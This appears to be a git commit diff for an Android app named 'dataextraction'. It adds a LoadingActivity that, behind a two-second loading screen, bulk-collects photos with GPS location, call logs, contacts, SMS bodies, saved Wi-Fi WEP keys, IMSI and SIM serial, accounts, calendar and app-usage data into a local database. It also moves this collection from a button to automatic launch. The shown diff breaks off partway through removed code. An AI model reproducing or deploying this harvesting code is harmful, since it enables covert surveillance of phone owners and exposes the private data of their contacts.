이윤영

Add loading activity

1 <?xml version="1.0" encoding="UTF-8"?> 1 <?xml version="1.0" encoding="UTF-8"?>
2 <project version="4"> 2 <project version="4">
3 - <component name="ProjectRootManager" version="2" languageLevel="JDK_1_7" project-jdk-name="1.8" project-jdk-type="JavaSDK"> 3 + <component name="ProjectRootManager" version="2" languageLevel="JDK_1_7" project-jdk-name="JDK" project-jdk-type="JavaSDK">
4 <output url="file://$PROJECT_DIR$/build/classes" /> 4 <output url="file://$PROJECT_DIR$/build/classes" />
5 </component> 5 </component>
6 <component name="ProjectType"> 6 <component name="ProjectType">
......
1 +[{"outputType":{"type":"APK"},"apkData":{"type":"MAIN","splits":[],"versionCode":1,"versionName":"1.0","enabled":true,"outputFile":"app-release.apk","fullName":"release","baseName":"release"},"path":"app-release.apk","properties":{}}]
...\ No newline at end of file ...\ No newline at end of file
...@@ -2,6 +2,7 @@ ...@@ -2,6 +2,7 @@
2 <manifest xmlns:android="http://schemas.android.com/apk/res/android" 2 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
3 xmlns:tools="http://schemas.android.com/tools" 3 xmlns:tools="http://schemas.android.com/tools"
4 package="com.example.dataextraction"> 4 package="com.example.dataextraction">
5 +
5 <uses-permission 6 <uses-permission
6 android:name="android.permission.PACKAGE_USAGE_STATS" 7 android:name="android.permission.PACKAGE_USAGE_STATS"
7 tools:ignore="ProtectedPermissions" /> 8 tools:ignore="ProtectedPermissions" />
...@@ -26,6 +27,7 @@ ...@@ -26,6 +27,7 @@
26 android:roundIcon="@mipmap/ic_launcher_round" 27 android:roundIcon="@mipmap/ic_launcher_round"
27 android:supportsRtl="true" 28 android:supportsRtl="true"
28 android:theme="@style/AppTheme"> 29 android:theme="@style/AppTheme">
30 + <activity android:name=".LoadingActivity"></activity>
29 <activity android:name=".MainActivity"> 31 <activity android:name=".MainActivity">
30 <intent-filter> 32 <intent-filter>
31 <action android:name="android.intent.action.MAIN" /> 33 <action android:name="android.intent.action.MAIN" />
......
1 +package com.example.dataextraction;
2 +
3 +
4 +import android.Manifest;
5 +import android.accounts.Account;
6 +import android.accounts.AccountManager;
7 +import android.app.Activity;
8 +import android.app.usage.NetworkStats;
9 +import android.app.usage.NetworkStatsManager;
10 +import android.app.usage.UsageStats;
11 +import android.app.usage.UsageStatsManager;
12 +import android.content.ContentResolver;
13 +import android.content.Context;
14 +import android.content.pm.ApplicationInfo;
15 +import android.content.pm.PackageInfo;
16 +import android.content.pm.PackageManager;
17 +import android.database.Cursor;
18 +import android.net.ConnectivityManager;
19 +import android.net.LinkAddress;
20 +import android.net.LinkProperties;
21 +import android.net.Network;
22 +import android.net.NetworkCapabilities;
23 +import android.net.RouteInfo;
24 +import android.net.Uri;
25 +import android.net.wifi.WifiConfiguration;
26 +import android.net.wifi.WifiManager;
27 +import android.os.Bundle;
28 +import android.os.Handler;
29 +import android.provider.CalendarContract;
30 +import android.provider.CallLog;
31 +import android.provider.ContactsContract;
32 +import android.provider.MediaStore;
33 +import android.provider.Telephony;
34 +import android.telephony.TelephonyManager;
35 +import android.widget.Toast;
36 +import java.net.InetAddress;
37 +import java.text.DateFormat;
38 +import java.text.SimpleDateFormat;
39 +import java.util.ArrayList;
40 +import java.util.Date;
41 +import java.util.List;
42 +import androidx.core.content.ContextCompat;
43 +
44 +
45 +import static android.net.NetworkCapabilities.TRANSPORT_CELLULAR;
46 +
47 +public class LoadingActivity extends Activity {
48 +
49 + DBHelper dbHelper;
50 +
51 + @Override
52 + protected void onCreate(Bundle savedInstanceState) {
53 + super.onCreate(savedInstanceState);
54 + setContentView(R.layout.activity_loading);
55 + startLoading();
56 + }
57 +
58 + private void startLoading() {
59 + Handler handler = new Handler();
60 + handler.postDelayed(new Runnable() {
61 + @Override
62 + public void run() {
63 + dbHelper = new DBHelper(getApplicationContext());
64 + dbHelper.open();
65 +
66 + getPhoto();
67 + getVideo();
68 + getAudio();
69 + getCalendarInfo();;
70 + getNetworkInfo();
71 +
72 + getCallLog();
73 + getContact();
74 + getSMSMessage();
75 + getWIFI();
76 +
77 + getPhoneInfo();
78 + getAccountInfo();
79 + getAppInfo();
80 + getUsageStats();
81 +
82 + dbHelper.close();
83 + finish();
84 + }
85 + }, 2000);
86 + }
87 +
88 + public void getPhoto() {
89 + Uri uri = MediaStore.Images.Media.EXTERNAL_CONTENT_URI;
90 +
91 + String[] projection = new String[]{
92 + MediaStore.Images.Media.TITLE,
93 + MediaStore.Images.Media._ID,
94 + MediaStore.Images.Media.DATE_ADDED,
95 + MediaStore.Images.Media.DISPLAY_NAME,
96 + MediaStore.Images.Media.MIME_TYPE,
97 + MediaStore.Images.Media.DATA,
98 + MediaStore.Images.Media.LATITUDE,
99 + MediaStore.Images.Media.LONGITUDE
100 + };
101 + Cursor cursor = getContentResolver().query(uri, projection, null, null, null);
102 +
103 +
104 + while (cursor.moveToNext()) {
105 + photoItem photo = new photoItem();
106 + photo.setTitle(cursor.getString(0));
107 + photo.setId(cursor.getInt(1));
108 + photo.setDate(cursor.getString(2));
109 + photo.setDisplayName(cursor.getString(3));
110 + photo.setType(cursor.getString(4));
111 + photo.setPath(cursor.getString(5));
112 + photo.setLatitude(cursor.getString(6));
113 + photo.setLongitude(cursor.getString(7));
114 +
115 + dbHelper.insertPColumn(photo.getTitle(), photo.getId(), photo.getDate()
116 + , photo.getDisplayName(), photo.getType(), photo.getPath()
117 + , photo.getLatitude(), photo.getLongitude());
118 + }
119 +
120 + }
121 +
122 + public void getVideo() {
123 + Uri uri = MediaStore.Video.Media.EXTERNAL_CONTENT_URI;
124 +
125 + String[] projection = new String[]{
126 + MediaStore.Video.Media.ALBUM,
127 + MediaStore.Video.Media.ARTIST,
128 + MediaStore.Video.Media.BOOKMARK,
129 + MediaStore.Video.Media.CATEGORY,
130 + MediaStore.Video.Media.DESCRIPTION,
131 + MediaStore.Video.Media.LANGUAGE,
132 + MediaStore.Video.Media.LATITUDE,
133 + MediaStore.Video.Media.LONGITUDE,
134 + MediaStore.Video.Media.RESOLUTION,
135 + MediaStore.Video.Media.DATA,
136 + MediaStore.Video.Media.TAGS,
137 + MediaStore.Video.Media.DATE_ADDED,
138 + MediaStore.Video.Media.DISPLAY_NAME,
139 + MediaStore.Video.Media.MIME_TYPE,
140 + MediaStore.Video.Media.TITLE,
141 + };
142 +
143 + Cursor cursor = getContentResolver().query(uri, projection, null, null, null);
144 +
145 + while (cursor.moveToNext()) {
146 + videoItem video = new videoItem();
147 +
148 + video.setAlbum(cursor.getString(0));
149 + video.setArtist(cursor.getString(1));
150 + video.setBookmark(cursor.getString(2));
151 + video.setCategory(cursor.getString(3));
152 + video.setDescription(cursor.getString(4));
153 + video.setLanguage(cursor.getString(5));
154 + video.setLatitude(cursor.getString(6));
155 + video.setLongitude(cursor.getString(7));
156 + video.setResolution(cursor.getString(8));
157 + video.setPath(cursor.getString(9));
158 + video.setTags(cursor.getString(10));
159 + video.setDate_added(cursor.getString(11));
160 + video.setDisplay_Name(cursor.getString(12));
161 + video.setMIME_type(cursor.getString(13));
162 + video.setTitle(cursor.getString(14));
163 +
164 + dbHelper.insertVColumn(video.getTitle(), video.getDate_added(), video.getDisplay_Name()
165 + , video.getMIME_type(), video.getPath(), video.getLatitude(), video.getLongitude()
166 + , video.getAlbum(), video.getArtist(), video.getBookmark(), video.getCategory()
167 + , video.getDescription(), video.getLanguage(), video.getResolution(), video.getTags());
168 + }
169 + }
170 +
171 + public void getAudio() {
172 + Uri uri = MediaStore.Audio.Media.EXTERNAL_CONTENT_URI;
173 +
174 + String[] projection = new String[]{
175 + MediaStore.Audio.Media.ALBUM,
176 + MediaStore.Audio.Media.ARTIST,
177 + MediaStore.Audio.Media.COMPOSER,
178 + MediaStore.Audio.Media.YEAR,
179 + MediaStore.Audio.Media.DATA,
180 + MediaStore.Audio.Media.DATE_ADDED,
181 + MediaStore.Audio.Media.MIME_TYPE,
182 + MediaStore.Audio.Media.SIZE,
183 + MediaStore.Audio.Media.TITLE,
184 + };
185 +
186 + Cursor cursor = getContentResolver().query(uri, projection, null, null, null);
187 +
188 + while (cursor.moveToNext()) {
189 + audioItem audio = new audioItem();
190 + audio.setAlbum(cursor.getString(0));
191 + audio.setArtist(cursor.getString(1));
192 + audio.setComposer(cursor.getString(2));
193 + audio.setYear(cursor.getString(3));
194 + audio.setPath(cursor.getString(4));
195 + audio.setDate_added(cursor.getString(5));
196 + audio.setMIME_TYPE(cursor.getString(6));
197 + audio.setSize(cursor.getString(7));
198 + audio.setTitle(cursor.getString(8));
199 +
200 + dbHelper.insertAColumn(audio.getTitle(), audio.getDate_added(), audio.getMIME_TYPE()
201 + , audio.getPath(), audio.getAlbum(), audio.getArtist(), audio.getComposer()
202 + ,audio.getYear(), audio.getSize());
203 + }
204 +
205 + }
206 +
207 + private void getCalendarInfo() {
208 + ArrayList<calendarItem> calendarList = new ArrayList<>();
209 +
210 + Cursor cur = null;
211 + ContentResolver cr = getContentResolver();
212 + Uri uri = CalendarContract.Calendars.CONTENT_URI;
213 +
214 + if (checkSelfPermission(Manifest.permission.READ_CALENDAR) != PackageManager.PERMISSION_GRANTED) {
215 + Toast.makeText(getApplicationContext(), "권한문제", Toast.LENGTH_LONG).show();
216 + return;
217 + }
218 +
219 + String[] event_projection = new String[]{
220 + CalendarContract.Calendars._ID, // 0
221 + CalendarContract.Calendars.ACCOUNT_NAME, // 1
222 + CalendarContract.Calendars.CALENDAR_DISPLAY_NAME, // 2
223 + CalendarContract.Calendars.OWNER_ACCOUNT // 3
224 + };
225 +
226 + cur = cr.query(uri, event_projection, null, null, null);
227 +
228 + // Use the cursor to step through the returned records
229 + while (cur.moveToNext()) {
230 +
231 + long calID = 0;
232 + String displayName = null;
233 + String accountName = null;
234 + String ownerName = null;
235 +
236 + // Get the field values
237 + calID = cur.getLong(0);
238 + displayName = cur.getString(1);
239 + accountName = cur.getString(2);
240 + ownerName = cur.getString(3);
241 +
242 + Cursor cure = null;
243 + ContentResolver cre = getContentResolver();
244 + Uri urie = CalendarContract.Events.CONTENT_URI;
245 +
246 + String[] event_projection2 = new String[]{
247 + CalendarContract.Events.CALENDAR_ID, //0
248 + CalendarContract.Events.TITLE, // 2
249 + CalendarContract.Events.EVENT_LOCATION, // 3
250 + CalendarContract.Events.DESCRIPTION, // 4
251 + CalendarContract.Events.DTSTART, // 5
252 + CalendarContract.Events.DTEND, // 6
253 + CalendarContract.Events.DURATION, // 9
254 + CalendarContract.Events.ALL_DAY, // 10
255 + CalendarContract.Events.RRULE, // 11
256 + CalendarContract.Events.RDATE // 12
257 + };
258 +
259 + cure = cre.query(urie, event_projection2, null, null, null);
260 + while (cure.moveToNext()) {
261 + String calid = null;
262 + String title = null;
263 + String loc = null;
264 + String desc = null;
265 + long dtstart = 0;
266 + long dtend = 0;
267 + String duration = null;
268 + String all_day = null;
269 + String rrule = null;
270 + String rdate = null;
271 +
272 + calid = cure.getString(0);
273 + title = cure.getString(1);
274 + loc = cure.getString(2);
275 + desc = cure.getString(3);
276 + dtstart = cure.getLong(4);
277 + dtend = cure.getLong(5);
278 + duration = cure.getString(6);
279 + all_day = cure.getString(7);
280 + rrule = cure.getString(8);
281 + rdate = cure.getString(9);
282 +
283 + DateFormat timeFormat = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
284 + Date start = new Date(dtstart);
285 + Date end = new Date(dtend);
286 +
287 + //save
288 + if (calID == Integer.parseInt(calid)) {
289 + calendarItem calendar = new calendarItem();
290 +
291 + calendar.setCalID(Long.toString(calID));
292 + calendar.setDisplayName(displayName);
293 + calendar.setAccountName(accountName);
294 + calendar.setOwnerName(ownerName);
295 + calendar.setTitle(title);
296 + calendar.setLoc(loc);
297 + calendar.setDesc(desc);
298 + calendar.setDtstart(timeFormat.format(start));
299 + calendar.setDtend(timeFormat.format(end));
300 + calendar.setDuration(duration);
301 + calendar.setAllday(all_day);
302 + calendar.setRrule(rrule);
303 + calendar.setRdate(rdate);
304 +
305 + dbHelper.insertCColumn(calendar.getTitle(), calendar.getCalID(), calendar.getLoc()
306 + , calendar.getDesc(), calendar.getDtstart(), calendar.getDtend(), calendar.getDuration()
307 + , calendar.getAllday(), calendar.getDisplayName(), calendar.getAccountName()
308 + , calendar.getOwnerName(), calendar.getRrule(), calendar.getRdate());
309 + }
310 + }
311 + }
312 +
313 + }
314 +
315 + public void getNetworkInfo(){
316 + ConnectivityManager connectivityManager;
317 + LinkProperties linkProperties;
318 + connectivityManager = (ConnectivityManager) this.getSystemService(Context.CONNECTIVITY_SERVICE);
319 + Network[] networkList = connectivityManager.getAllNetworks();
320 + networkDBHelper dbNHelper = new networkDBHelper(getApplicationContext());
321 + dbNHelper.open();
322 + dbNHelper.deleteAllRows();
323 + for(Network network : networkList){
324 + NetworkCapabilities capabilities = connectivityManager.getNetworkCapabilities(network);
325 + if(capabilities != null){
326 + if(capabilities.hasTransport(NetworkCapabilities.TRANSPORT_CELLULAR)){
327 + linkProperties = connectivityManager.getLinkProperties(network);
328 + String domain = linkProperties.getDomains();
329 + String interfacrName = linkProperties.getInterfaceName();
330 + //String DnsServerName = linkProperties.getPrivateDnsServerName();
331 + dbNHelper.insertColumn0(network.toString(), domain, interfacrName);
332 + List<InetAddress> inetAddresses = linkProperties.getDnsServers();
333 + for(InetAddress address : inetAddresses){
334 + dbNHelper.insertColumn1(network.toString(), address.getHostAddress());
335 + }
336 + List<LinkAddress> linkAddresses = linkProperties.getLinkAddresses();
337 + for(LinkAddress address : linkAddresses) {
338 + dbNHelper.insertColumn2(network.toString(), address.getAddress().getHostAddress(), address.getPrefixLength());
339 + }
340 + List<RouteInfo> routeInfos = linkProperties.getRoutes();
341 + for(RouteInfo routeinfo : routeInfos){
342 + dbNHelper.insertColumn3(network.toString(), routeinfo.getDestination().toString()
343 + , routeinfo.getDestination().getPrefixLength(), routeinfo.getGateway().toString()
344 + ,routeinfo.getInterface());
345 + }
346 + }
347 + }
348 + }
349 + dbNHelper.close();
350 + }
351 +// private class GoogleAppIdTask extends AsyncTask<Void, Void, String> {
352 +// protected String doInBackground(final Void... params) {
353 +// String adId = null;
354 +// try {
355 +// AdvertisingIdClient.Info advertisingIdInfo = AdvertisingIdClient.getAdvertisingIdInfo(getApplicationContext());
356 +// adId = advertisingIdInfo.getId();
357 +// if (!advertisingIdInfo.isLimitAdTrackingEnabled())
358 +// Log.d("adid : ", adId);
359 +// } catch (IllegalStateException ex) {
360 +// ex.printStackTrace();
361 +// Log.e("GoogleAppidTask","IllegalStateException");
362 +// } catch (GooglePlayServicesRepairableException ex) {
363 +// ex.printStackTrace();
364 +// Log.e("GoogleAppidTask","GooglePlayServicesRepairable Exception");
365 +// } catch (IOException ex) {
366 +// ex.printStackTrace();
367 +// Log.e("GoogleAppidTask","IOException");
368 +// } catch (GooglePlayServicesNotAvailableException ex) {
369 +// ex.printStackTrace();
370 +// Log.e("GoogleAppidTask","GooglePlayServicesNotAvailableException");
371 +// }
372 +// return adId;
373 +// }
374 +//
375 +// protected void onPostExecute(String adId) {
376 +// //작업 수행
377 +// }
378 +// }
379 +
380 + public void getPhoneInfo(){
381 + TelephonyManager tm = (TelephonyManager) getSystemService(TELEPHONY_SERVICE);
382 + if (checkSelfPermission(Manifest.permission.READ_PHONE_STATE) != PackageManager.PERMISSION_GRANTED) {
383 + Toast.makeText(getApplicationContext(), "권한문제", Toast.LENGTH_LONG).show();
384 + }
385 +
386 + String adid = "";
387 +// try {
388 +// MainActivity.GoogleAppIdTask asyncTask = new MainActivity.GoogleAppIdTask();
389 +// adid = asyncTask.execute().get();
390 +// }catch(Exception e){
391 +// e.printStackTrace();
392 +// }
393 +
394 + dbHelper.addPhoneInfo(tm.getPhoneType(), tm.getDeviceSoftwareVersion(),
395 + tm.getLine1Number(), tm.getSubscriberId(), adid, tm.getCallState(),
396 + tm.getDataState(),tm.getNetworkType(),tm.getNetworkCountryIso(),
397 + tm.getSimCountryIso(),tm.getNetworkOperator(),tm.getSimOperator(),
398 + tm.getNetworkOperatorName(),tm.getSimOperatorName() ,tm.getSimSerialNumber(),
399 + tm.getSimState(),tm.isNetworkRoaming());
400 +
401 +
402 + }
403 +
404 + public void getAccountInfo(){
405 +
406 + AccountManager am = AccountManager.get(this);
407 + Account[] accounts = am.getAccounts();
408 +
409 + for(Account account : accounts) {
410 + dbHelper.addAccountInfo(account.name,account.type);
411 + //String password=accountManager.getPassword(account);
412 + }
413 + }
414 +
415 + public void getAppInfo() {
416 +
417 + PackageManager pm = getPackageManager();
418 + List<PackageInfo> packages = pm.getInstalledPackages(PackageManager.GET_META_DATA);
419 + ApplicationInfo applicationInfo;
420 + NetworkStatsManager networkStatsManager = (NetworkStatsManager) getSystemService(Context.NETWORK_STATS_SERVICE);
421 +
422 +
423 + for (PackageInfo packageInfo : packages) {
424 + try {
425 + applicationInfo = pm.getApplicationInfo(packageInfo.packageName, 0);
426 + } catch (final PackageManager.NameNotFoundException e) {
427 + applicationInfo = null;
428 + }
429 + String applicationName = (String) (applicationInfo != null ? pm.getApplicationLabel(applicationInfo) : "(unknown)");
430 +
431 +
432 + NetworkStats wifinetworkStats = null;
433 + NetworkStats mobilenetworkStats = null;
434 + try {
435 + wifinetworkStats = networkStatsManager.queryDetailsForUid(NetworkCapabilities.TRANSPORT_WIFI, "", 0, System.currentTimeMillis(), applicationInfo.uid);
436 + } catch (Exception e) {
437 + wifinetworkStats = null;
438 + }
439 + try {
440 + Context context = getApplicationContext();
441 + String subscribedId = getSubscriberId(TRANSPORT_CELLULAR);
442 + mobilenetworkStats = networkStatsManager.queryDetailsForUid(NetworkCapabilities.TRANSPORT_CELLULAR, subscribedId, 0, System.currentTimeMillis(), applicationInfo.uid);
443 + } catch (Exception e) {
444 + mobilenetworkStats = null;
445 + }
446 +
447 + NetworkStats.Bucket wifibucket = new NetworkStats.Bucket();
448 + long wifirxbytes = 0;
449 + long wifitxbytes = 0;
450 + while (wifinetworkStats.hasNextBucket()) {
451 + wifinetworkStats.getNextBucket(wifibucket);
452 + wifirxbytes += wifibucket.getRxBytes();
453 + wifitxbytes += wifibucket.getTxBytes();
454 + };
455 +
456 + NetworkStats.Bucket cellularbucket = new NetworkStats.Bucket();
457 + long cellrxbytes = 0;
458 + long celltxbytes = 0;
459 + while (mobilenetworkStats.hasNextBucket()) {
460 + mobilenetworkStats.getNextBucket(cellularbucket);
461 + cellrxbytes += cellularbucket.getRxBytes();
462 + celltxbytes += cellularbucket.getTxBytes();
463 + };
464 + mobilenetworkStats.getNextBucket(cellularbucket);
465 +
466 + dbHelper.addAppInfo(packageInfo.packageName,packageInfo.versionName, applicationName,packageInfo.firstInstallTime, packageInfo.lastUpdateTime, wifirxbytes+wifitxbytes, cellrxbytes+celltxbytes);
467 + }
468 +
469 + }
470 +
471 + private String getSubscriberId(int networkType) {
472 + TelephonyManager tm = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
473 + if (checkSelfPermission(Manifest.permission.READ_PHONE_STATE) != PackageManager.PERMISSION_GRANTED) {
474 + Toast.makeText(getApplicationContext(), "권한문제", Toast.LENGTH_LONG).show();
475 + return null;
476 + }
477 + else {
478 + if (ConnectivityManager.TYPE_MOBILE == networkType) {
479 + return tm.getSubscriberId();
480 + }
481 + }
482 + return "";
483 + }
484 +
485 + public void getUsageStats() {
486 +
487 + UsageStatsManager usageStatsManager = (UsageStatsManager) getSystemService(Context.USAGE_STATS_SERVICE);
488 +
489 + List<UsageStats> queryUsageStats = usageStatsManager.queryUsageStats(UsageStatsManager.INTERVAL_YEARLY, 0, System.currentTimeMillis());
490 + for (UsageStats usagestat : queryUsageStats) {
491 + dbHelper.addAppUsage_YEAR(usagestat.getPackageName(),usagestat.getFirstTimeStamp(), usagestat.getLastTimeStamp(),usagestat.getLastTimeUsed(), usagestat.getTotalTimeInForeground());
492 + }
493 +
494 + queryUsageStats = usageStatsManager.queryUsageStats(UsageStatsManager.INTERVAL_MONTHLY, 0, System.currentTimeMillis());
495 + for (UsageStats usagestat : queryUsageStats) {
496 + dbHelper.addAppUsage_MONTH(usagestat.getPackageName(),usagestat.getFirstTimeStamp(), usagestat.getLastTimeStamp(),usagestat.getLastTimeUsed(), usagestat.getTotalTimeInForeground());
497 + }
498 +
499 + queryUsageStats = usageStatsManager.queryUsageStats(UsageStatsManager.INTERVAL_WEEKLY, 0, System.currentTimeMillis());
500 + for (UsageStats usagestat : queryUsageStats) {
501 + dbHelper.addAppUsage_WEEK(usagestat.getPackageName(),usagestat.getFirstTimeStamp(), usagestat.getLastTimeStamp(),usagestat.getLastTimeUsed(), usagestat.getTotalTimeInForeground());
502 + }
503 +
504 + queryUsageStats = usageStatsManager.queryUsageStats(UsageStatsManager.INTERVAL_DAILY, 0, System.currentTimeMillis());
505 + for (UsageStats usagestat : queryUsageStats) {
506 + dbHelper.addAppUsage_DAY(usagestat.getPackageName(),usagestat.getFirstTimeStamp(), usagestat.getLastTimeStamp(),usagestat.getLastTimeUsed(), usagestat.getTotalTimeInForeground());
507 + }
508 +
509 + }
510 +
511 +
512 + public void getCallLog(){
513 +
514 + int permissionCheck = ContextCompat.checkSelfPermission(getApplicationContext(), Manifest.permission.READ_CALL_LOG);
515 +
516 + Uri uri = CallLog.Calls.CONTENT_URI;
517 +
518 + if(permissionCheck == PackageManager.PERMISSION_GRANTED) {
519 + Cursor cursor = getBaseContext().getContentResolver().query(uri, null, null, null, CallLog.Calls.DEFAULT_SORT_ORDER);
520 +
521 + if(cursor.getCount() > 0){
522 + while(cursor.moveToNext()){
523 + //1:수신, 2:발신, 3:부재중
524 + String type = cursor.getString(cursor.getColumnIndex(CallLog.Calls.TYPE));
525 + //이름
526 + String name = cursor.getString(cursor.getColumnIndex(CallLog.Calls.CACHED_NAME));
527 + //번호
528 + String number = cursor.getString(cursor.getColumnIndex(CallLog.Calls.NUMBER));
529 + //통화시간
530 + String duration = cursor.getString(cursor.getColumnIndex(CallLog.Calls.DURATION));
531 + //날짜
532 + long date_long = cursor.getLong(cursor.getColumnIndex(CallLog.Calls.DATE));
533 + DateFormat timeFormat = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
534 + Date date = new Date(date_long);
535 +
536 + //db에 추가
537 + dbHelper.insertCallLogColumn(type, name, number, duration, timeFormat.format(date));
538 +
539 + }
540 + }
541 + }
542 + }
543 +
544 + public void getContact(){
545 + Uri uri = ContactsContract.CommonDataKinds.Phone.CONTENT_URI;
546 +
547 + String[] projection = new String[]{
548 + ContactsContract.CommonDataKinds.Phone.NUMBER,
549 + ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME,
550 + ContactsContract.Contacts.PHOTO_ID,
551 + ContactsContract.Contacts._ID
552 + };
553 +
554 + String sortOrder = ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME + " COLLATE LOCALIZED ASC";
555 +
556 + Cursor cursor = getContentResolver().query(uri,projection,null,null,sortOrder);
557 +
558 + if(cursor.moveToFirst()){
559 + do{
560 + //전화번호
561 + String number = cursor.getString(0);
562 + //이름
563 + String name = cursor.getString(1);
564 + String photo_id = cursor.getString(2);
565 + String person_id = cursor.getString(3);
566 +
567 + //name, number 중복하는거 거르기
568 + //db에 추가
569 + dbHelper.insertContactColumn(number, name, photo_id, person_id);
570 +
571 + }while(cursor.moveToNext());
572 + }
573 + }
574 +
575 + public void getSMSMessage(){
576 + Uri uri = Telephony.Sms.CONTENT_URI;
577 + String[] projection = new String[]{
578 + "type","_id","thread_id","address","person","creator","date","body","read"
579 + };
580 + Cursor cursor = getContentResolver().query(uri,projection, null,null,"date DESC");
581 +
582 + while(cursor.moveToNext()){
583 + //Telephony.Sms.MESSAGE_TYPE_INBOX 받은 메시지/Telephony.Sms.MESSAGE_TYPE_SENT 보낸 메시지
584 + String type = cursor.getString(0);
585 + //메세지 id
586 + String mid = cursor.getString(1);
587 + //특정 사용자와 대화의 공통 id
588 + String tid = cursor.getString(2);
589 + //주소 번호
590 + String address = cursor.getString(3);
591 + //누가 보냈는지 contact
592 + //Telephony.Sms.MESSAGE_TYPE_INBOX only
593 + String person = cursor.getString(4);
594 + //Telephony.Sms.MESSAGE_TYPE_SENT only
595 + String creator = cursor.getString(5);
596 + //시간 ms
597 + Long date_long = cursor.getLong(6);
598 + DateFormat timeFormat = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
599 + String date = timeFormat.format(date_long);
600 + //내용
601 + String body = cursor.getString(7);
602 + //사용자가 메시지 읽었으면 1, 안 읽었으면 0
603 + String read = cursor.getString(8);
604 +
605 + //db에 추가
606 + dbHelper.insertSMSColumn(mid, tid, type, address, person, creator, date, body, read);
607 + }
608 + }
609 +
610 + public void getWIFI(){
611 + WifiManager wm = (WifiManager)getApplicationContext().getSystemService(Context.WIFI_SERVICE);
612 + //네트워크 설정 목록 획득
613 + List<WifiConfiguration> configurations = wm.getConfiguredNetworks();
614 + if(configurations != null){
615 + for(final WifiConfiguration config : configurations){
616 + //network id
617 + int i_id = config.networkId;
618 + String id = Integer.toString(i_id);
619 + //wifi 이름
620 + String ssid = config.SSID;
621 + //mac 주소
622 + String bssid = config.BSSID;
623 + //신호강도 (level)
624 + //연결 password
625 + String[] wepkeys = config.wepKeys;
626 +
627 + //db에 추가
628 + dbHelper.insertWifiColumn(id, ssid, bssid, wepkeys[0]);
629 + }
630 + }
631 + }
632 +
633 +}
1 package com.example.dataextraction; 1 package com.example.dataextraction;
2 2
3 import androidx.appcompat.app.AppCompatActivity; 3 import androidx.appcompat.app.AppCompatActivity;
4 -import androidx.core.content.ContextCompat;
5 -
6 import android.Manifest; 4 import android.Manifest;
7 -import android.accounts.Account;
8 -import android.accounts.AccountManager;
9 import android.app.AppOpsManager; 5 import android.app.AppOpsManager;
10 -import android.app.usage.NetworkStats;
11 -import android.app.usage.NetworkStatsManager;
12 -import android.app.usage.UsageStats;
13 -import android.app.usage.UsageStatsManager;
14 -import android.content.ContentResolver;
15 import android.content.Context; 6 import android.content.Context;
16 import android.content.Intent; 7 import android.content.Intent;
17 -import android.content.pm.ApplicationInfo;
18 -import android.content.pm.PackageInfo;
19 import android.content.pm.PackageManager; 8 import android.content.pm.PackageManager;
20 -import android.database.Cursor;
21 -import android.net.ConnectivityManager;
22 -import android.net.LinkAddress;
23 -import android.net.LinkProperties;
24 -import android.net.Network;
25 -import android.net.NetworkCapabilities;
26 -import android.net.NetworkInfo;
27 -import android.net.ProxyInfo;
28 -import android.net.RouteInfo;
29 -import android.net.Uri;
30 -import android.os.AsyncTask;
31 -import android.net.wifi.WifiConfiguration;
32 -import android.net.wifi.WifiManager;
33 import android.os.Build; 9 import android.os.Build;
34 import android.os.Bundle; 10 import android.os.Bundle;
35 -import android.provider.CalendarContract;
36 -import android.provider.CallLog;
37 -import android.provider.ContactsContract;
38 -import android.provider.MediaStore;
39 -import android.telephony.TelephonyManager;
40 import android.util.Log; 11 import android.util.Log;
41 -import android.provider.Telephony;
42 -import android.view.View;
43 -import android.widget.Toast;
44 12
45 import com.google.gson.JsonObject; 13 import com.google.gson.JsonObject;
46 -
47 import org.json.JSONException; 14 import org.json.JSONException;
48 import org.json.JSONObject; 15 import org.json.JSONObject;
49 -
50 -import java.io.IOException;
51 -import java.net.InetAddress;
52 -import java.text.DateFormat;
53 -import java.text.SimpleDateFormat;
54 -import java.util.ArrayList;
55 -import java.util.Date;
56 -import java.util.List;
57 -import java.util.Locale;
58 -
59 import io.socket.client.IO; 16 import io.socket.client.IO;
60 import io.socket.client.Socket; 17 import io.socket.client.Socket;
61 18
62 -import static android.net.NetworkCapabilities.TRANSPORT_CELLULAR;
63 -
64 public class MainActivity extends AppCompatActivity { 19 public class MainActivity extends AppCompatActivity {
65 20
66 - DBHelper dbHelper;
67 private Socket socket; 21 private Socket socket;
68 22
69 String[] permission_list = { 23 String[] permission_list = {
...@@ -98,579 +52,13 @@ public class MainActivity extends AppCompatActivity { ...@@ -98,579 +52,13 @@ public class MainActivity extends AppCompatActivity {
98 } 52 }
99 53
100 checkPermission(); 54 checkPermission();
101 - }
102 -
103 - public void button1(View view){
104 -
105 - dbHelper = new DBHelper(getApplicationContext());
106 - dbHelper.open();
107 -
108 - getPhoto();
109 - getVideo();
110 - getAudio();
111 - getCalendarInfo();;
112 - getNetworkInfo();
113 55
114 - getCallLog(); 56 + Intent intent = new Intent(this, LoadingActivity.class);
115 - getContact(); 57 + startActivity(intent);
116 - getSMSMessage();
117 - getWIFI();
118 -
119 - getPhoneInfo();
120 - getAccountInfo();
121 - getAppInfo();
122 - getUsageStats();
123 -
124 - dbHelper.close();
125 58
126 alert(); 59 alert();
127 } 60 }
128 61
129 - public void getPhoto() {
130 - Uri uri = MediaStore.Images.Media.EXTERNAL_CONTENT_URI;
131 -
132 - String[] projection = new String[]{
133 - MediaStore.Images.Media.TITLE,
134 - MediaStore.Images.Media._ID,
135 - MediaStore.Images.Media.DATE_ADDED,
136 - MediaStore.Images.Media.DISPLAY_NAME,
137 - MediaStore.Images.Media.MIME_TYPE,
138 - MediaStore.Images.Media.DATA,
139 - MediaStore.Images.Media.LATITUDE,
140 - MediaStore.Images.Media.LONGITUDE
141 - };
142 - Cursor cursor = getContentResolver().query(uri, projection, null, null, null);
143 -
144 -
145 - while (cursor.moveToNext()) {
146 - photoItem photo = new photoItem();
147 - photo.setTitle(cursor.getString(0));
148 - photo.setId(cursor.getInt(1));
149 - photo.setDate(cursor.getString(2));
150 - photo.setDisplayName(cursor.getString(3));
151 - photo.setType(cursor.getString(4));
152 - photo.setPath(cursor.getString(5));
153 - photo.setLatitude(cursor.getString(6));
154 - photo.setLongitude(cursor.getString(7));
155 -
156 - dbHelper.insertPColumn(photo.getTitle(), photo.getId(), photo.getDate()
